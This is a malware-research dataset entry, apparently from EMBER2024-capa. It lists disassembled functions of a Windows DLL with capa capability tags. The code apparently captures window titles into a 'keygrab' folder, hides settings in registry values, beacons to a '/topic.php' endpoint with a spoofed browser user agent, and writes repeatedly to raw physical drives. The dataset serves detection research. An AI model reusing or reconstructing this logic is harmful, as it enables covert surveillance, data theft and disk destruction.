joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010600
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x206]
push ecx
xor ebx, ebx
mov word [ebp - 0x208], ax
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0xc
push edx
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x10010691
push 0x104
lea ecx, [ebp - 0x208]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x10010691
push esi
push edi
xor esi, esi
mov edi, 0x1004f114
mov eax, dword [edi]
test eax, eax
je 0x10010670
push eax
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x10010684
inc esi
add edi, 0x10
cmp esi, 1
jb 0x10010658
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
shl esi, 4
add esi, 0x1004f114
pop edi
mov ebx, esi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x100106a0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
test eax, eax
je 0x100107fa
cmp dword [eax + 4], 0x201
jne 0x100107fa
mov eax, dword [eax]
push edi
push eax
call fcn.10010600
mov edi, eax
test edi, edi
je 0x100107f9
push 0x10050b88
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x1005ae00]
mov byte [ebp + eax - 0x108], cl
inc eax
test cl, cl
jne 0x100106e0
mov eax, dword [edi + 4]
imul eax, eax, 0x104
push ebx
push esi
lea esi, [eax + 0x1005d148]
push esi
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [ebp - 0x108]
push ecx
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea edx, [ebp - 0x108]
push edx
call ebx
test eax, eax
je 0x10010759
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001074f
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.keygrab
lea edx, [ebp - 0x108]
push edx
call esi
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
test eax, eax
je 0x1001079c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10010795
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea eax, [ebp - 0x108]
pop esi
lea edx, [eax + 1]
pop ebx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100107b4
mov ecx, dword [edi + 0xc]
push ecx
sub eax, edx
push str._02u.bmp
lea edx, [ebp + eax - 0x108]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
inc dword [edi + 0xc]
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
mov eax, dword [edi + 8]
call fcn.10010340
push 0x10050b88
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10010800
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 0x104
push 0
push 0x1005afa0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005baec
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10010848
lea edi, [ebp - 0x108]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10010858
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea edx, [ebp - 0x108]
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x100108c9
push 1
push 0
lea eax, [ebp - 0x108]
call fcn.10005630
mov esi, eax
test esi, esi
je 0x100108c9
push 0x104
push esi
push 0x1005afa0
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100108c9
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, 0x1005afa0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10011180
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 2
push eax
call dword [sym.imp.USER32.dll_GetAncestor]
test eax, eax
je 0x10011236
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea esi, [ebp - 0x108]
call fcn.10010800
lea ebx, [ebx]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x100111e0
test cl, cl
je 0x100111dc
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x100111e0
add eax, 2
add esi, 2
test cl, cl
jne 0x100111c0
xor eax, eax
jmp 0x100111e5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10011236
mov eax, dword [0x1005af98]
mov dword [0x1005af9c], 1
test eax, eax
je 0x1001122a
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
mov esi, eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10011220
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [0x1005af98], 0
lea edx, [ebp - 0x108]
push edx
call fcn.100108e0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100116f0
Capabilities:
Get disk information
Set current directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push 0x103
mov esi, eax
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x1001181e
cmp dword [esi + 0xc], 0
je 0x10011737
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x1001181e
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1001181e
cmp dword [esi + 0xc], 0
je 0x10011823
mov ecx, dword [esi + 8]
push ecx
push str..PhysicalDrive_u
lea edx, [ebp - 0x10c]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 0
push 0xa0000000
push 3
push 0
push 3
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100117f7
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
mov dword [ebp - 4], 0x3e8
push 1
push 0
push 0
push esi
mov dword [ebp - 8], 0
call ebx
push 0
push 0x104
push 0
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea ecx, [ebp - 8]
push ecx
push 0x104
lea edx, [ebp - 0x10c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0x104
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
dec dword [ebp - 4]
jne 0x100117a3
pop edi
pop ebx
test esi, esi
je 0x1001181e
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001181e
test byte [ebp - 4], 2
jne 0x1001181e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.10005810
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10011830
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
push esi
push edi
xor esi, esi
push 0x40c
lea eax, [ebp - 0x42c]
push esi
push eax
mov dword [ebp - 0x430], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x430]
push ecx
push 0x104
mov dword [ebp - 0x20], str.AppEvents
mov dword [ebp - 0x1c], str.Console
mov dword [ebp - 0x18], str.Control_Panel
mov dword [ebp - 0x14], str.Environment
mov dword [ebp - 0x10], str.Identities
mov dword [ebp - 0xc], str.Software
mov dword [ebp - 8], str.System
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov edi, eax
shr edi, 2
cmp edi, esi
je 0x10011982
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynA]
cmp dword [ebp - 0x430], esi
je 0x10011917
lea eax, [ebp - 0x430]
push 5
push eax
push 0x1005f0ac
call ebx
push 0x1005f0ac
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x10011905
mov eax, 0x1005f0ac
mov dword [0x1005f0b8], 0
call fcn.100116f0
inc esi
cmp dword [ebp + esi*4 - 0x430], 0
lea eax, [ebp + esi*4 - 0x430]
jne 0x100118d7
test edi, edi
jle 0x10011981
lea esi, [ebp + edi*4 - 0x430]
cmp dword [esi], 0
je 0x10011979
push 5
push esi
push 0x1005f0ac
call ebx
push 0x1005f0ac
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x10011979
mov eax, 0x1005f0ac
mov dword [0x1005f0b8], 0
call fcn.100116f0
movsx edx, byte [0x1005f0ac]
sub edx, 0x43
mov eax, 0x1005f0ac
mov dword [0x1005f0b4], edx
mov dword [0x1005f0b8], 1
call fcn.100116f0
dec edi
sub esi, 4
test edi, edi
jg 0x10011922
pop ebx
xor esi, esi
mov eax, str.AppEvents
lea esp, [esp]
push eax
push 0x80000001
call fcn.10024580
mov eax, dword [ebp + esi*4 - 0x1c]
inc esi
test eax, eax
jne 0x10011990
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100119b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 4
test eax, eax
jne 0x10011a27
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x10011a1c
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x1005b7e0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
jne 0x10011a7f
lea ecx, [ebp - 8]
push ecx
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x10011a76
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x1005b7e0
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp ecx, dword [ebp - 4]
sbb eax, eax
neg eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10011a90
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.softwaremicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x10011afa
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x1005b7e0
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x10011b00
Capabilities:
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0x103
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x217]
push esi
push eax
mov byte [ebp - 0x218], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x103
lea ecx, [ebp - 0x10f]
push esi
push ecx
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push 0x104
mov dword [ebp + 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x110]
push eax
push esi
push esi
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
call fcn.10012d20
push 1
push 1
push 0
push edi
push ebx
push 1
push str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
lea edx, [ebp - 0x110]
push edx
push str._topic.php
push 0
mov esi, eax
call fcn.10012dc0
test eax, eax
jne 0x10011bd1
push 1
push 1
push eax
push edi
push ebx
push 1
push str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
lea eax, [ebp - 0x110]
push eax
push str._topic.php
push 1
mov eax, esi
call fcn.10012dc0
test eax, eax
je 0x10011c70
push 0
lea ecx, [ebp - 4]
push ecx
lea eax, [ebp - 0x110]
call fcn.10005630
mov esi, eax
test esi, esi
je 0x10011c70
push 0
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 4], 3
jb 0x10011c40
movzx eax, byte [esi]
sub eax, 0x21
jne 0x10011c31
movzx eax, byte [esi + 1]
sub eax, 0x6f
jne 0x10011c31
movzx eax, byte [esi + 2]
sub eax, 0x6b
jne 0x10011c31
xor ebx, ebx
test eax, eax
sete bl
jmp 0x10011c43
sar eax, 0x1f
or eax, 1
xor ebx, ebx
test eax, eax
sete bl
jmp 0x10011c43
mov ebx, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10011c65
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10012920
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
push edi
xor edi, edi
push 0x103
mov esi, eax
lea eax, [ebp - 0x10f]
push edi
push eax
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0x104
mov dword [ebp - 4], edi
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x10012a58
mov edx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push 0x101
push edi
push str.softwaremicrosoft
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10012a4a
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x110]
push ecx
lea edx, [ebp - 0xc]
push edx
push edi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10012a4a
lea eax, [ebp - 0x110]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100129b3
sub eax, esi
je 0x100129ed
mov edi, edi
mov cl, byte [ebp + edx - 0x110]
not cl
lea eax, [ebp - 0x110]
mov byte [ebp + edx - 0x110], cl
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100129e0
sub eax, esi
cmp edx, eax
jb 0x100129c0
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100129f6
sub eax, edx
xor esi, esi
inc eax
je 0x10012a2c
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10012a2c
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
test esi, esi
je 0x10012a4a
lea eax, [ebp - 0x110]
mov edx, eax
sub esi, edx
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10012a40
mov eax, dword [ebp - 4]
test eax, eax
je 0x10012a58
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10012a70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x10012bbd
push esi
xor edi, edi
push 0x103
lea eax, [ebp - 0x113]
push edi
push eax
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], edi
mov byte [ebp - 0x114], 0
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
test esi, esi
je 0x10012bb8
lea ecx, [ebp - 4]
push ecx
push 0x101
push edi
push str.softwaremicrosoft
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10012baa
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 8]
push ecx
push edi
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10012baa
lea eax, [ebp - 0x114]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012b13
sub eax, esi
je 0x10012b4d
mov edi, edi
mov al, byte [ebp + edx - 0x114]
not al
mov byte [ebp + edx - 0x114], al
lea eax, [ebp - 0x114]
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012b40
sub eax, esi
cmp edx, eax
jb 0x10012b20
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012b56
sub eax, edx
xor esi, esi
inc eax
je 0x10012b8c
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10012b8c
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
test esi, esi
je 0x10012baa
lea eax, [ebp - 0x114]
mov ecx, eax
sub esi, ecx
lea esp, [esp]
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x10012ba0
mov eax, dword [ebp - 4]
test eax, eax
je 0x10012bb8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
test edi, edi
jne 0x10012bd1
mov eax, dword [ebp + 8]
push 0x80000002
call fcn.10012920
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x10012be0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push esi
mov esi, eax
push 0x10045e64
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x10012d17
push edi
mov byte [eax], 0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb edi, edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
neg edi
push eax
add edi, 0x80000001
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0
test esi, esi
je 0x10012d10
cmp dword [ebp + 8], 0
je 0x10012d10
push 0x104
push esi
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x110]
xor edx, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012c70
sub eax, esi
je 0x10012cad
jmp 0x10012c80
mov al, byte [ebp + edx - 0x110]
not al
mov byte [ebp + edx - 0x110], al
lea eax, [ebp - 0x110]
inc edx
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012ca0
sub eax, esi
cmp edx, eax
jb 0x10012c80
lea ecx, [ebp - 4]
push ecx
push 0x102
push 0
push str.softwaremicrosoft
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10012d02
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10012cd1
mov ecx, dword [ebp - 4]
sub eax, edx
push eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x110]
push edx
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10012d02
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10012d10
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov byte [eax], 0xa
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x10012d20
Capabilities:
Resolve dns

Disassembly:
push ebx
push esi
push edi
call fcn.10004e20
mov esi, dword [0x1005af1c]
mov ebx, eax
test ebx, ebx
je 0x10012d93
test esi, esi
je 0x10012d8b
mov ecx, ebx
mov eax, esi
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10012d60
test dl, dl
je 0x10012d5c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10012d60
add eax, 2
add ecx, 2
test dl, dl
jne 0x10012d40
xor eax, eax
jmp 0x10012d65
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10012d93
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10012d8b
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, ebx
mov dword [0x1005af1c], esi
call dword [sym.imp.DNSAPI.dll_DnsFlushResolverCache]
test esi, esi
je 0x10012daf
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10012daf
push 1
call fcn.10004f90
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x10013230
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.SensApi.dll_IsNetworkAlive]
test eax, eax
je 0x10013327
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x10013261
call dword [sym.imp.DNSAPI.dll_DnsFlushResolverCache]
push ebx
push edi
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov byte [ebp - 0x108], 0
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
add esp, 0xc
push 0x104
push str.http:__
lea edx, [ebp - 0x108]
push edx
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_StrNCatA]
push 0x104
push str.www.bing.com
lea eax, [ebp - 0x108]
push eax
call edi
mov ebx, dword [sym.imp.WININET.dll_InternetCheckConnectionA]
push 0
push 1
lea ecx, [ebp - 0x108]
push ecx
call ebx
test eax, eax
jne 0x1001331b
push 0x103
push eax
lea edx, [ebp - 0x107]
push edx
mov byte [ebp - 0x108], al
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push str.http:__
lea eax, [ebp - 0x108]
push eax
call esi
push 0x104
push str.www.microsoft.com
lea ecx, [ebp - 0x108]
push ecx
call edi
push 0
push 1
lea edx, [ebp - 0x108]
push edx
call ebx
test eax, eax
je 0x1001332e
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10013d00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push str.softwaremicrosoft
mov dword [ebp - 8], 0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10013d7a
call fcn.10003660
test eax, eax
mov eax, 0x1005cf3c
jne 0x10013d57
mov eax, 0x1005d040
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
push 0
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10013d90
call fcn.10003660
neg eax
sbb eax, eax
and eax, 0xffffffd8
add eax, 0x2d
mov esp, ebp
pop ebp
ret